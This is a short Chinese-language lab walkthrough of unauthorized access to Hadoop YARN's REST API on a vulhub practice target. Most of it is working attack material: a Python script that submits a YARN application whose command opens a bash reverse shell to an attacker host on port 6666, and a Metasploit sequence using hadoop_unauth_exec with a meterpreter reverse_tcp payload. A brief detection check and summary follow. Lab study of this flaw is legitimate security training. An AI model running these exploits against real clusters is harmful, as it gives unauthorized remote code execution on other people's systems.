Hadoop未授权访问
是什么?
Hadoop 是一种用来处理和存储大量数据的软件工具,可以用来日志分析,推荐系统,数据备份
核心组件:
存储大数据:HDFS 文件系统
处理大数据:MapReduce
管理资源:YARN
漏洞成因(本质是API路径未授权):
默认开放的REST API端口: YARN的RESTAP默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些API进行未授权访问。
靶场:vulhub/hadoop/unauthorized-yarn
# 开启靶场
docker-compose up -d
利用方式一(脚本利用)
1.访问靶机8088端口,看到存在未授权访问漏洞
2.通过脚本利用(通过python3执行脚本即可)
#!/usr/bin/env python
import requests
# 漏洞目标URL
target = 'http://127.0.0.1:8088/'
# 反弹Shell 攻击机IP地址,监听6666端口
lhost = '192.168.0.1'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1'
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
利用方式二(msf利用)
利用msf模块
msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit
漏洞发现
POST访问如下URL,返回application-id,则表明存在漏洞
http://ip:8088/ws/v1/cluster/apps/new-application
总结
- 漏洞成因是开启了Hadoop Web 管理页面,端口一般为8088或8090
- 所以可以通过访问接口发现是否存在漏洞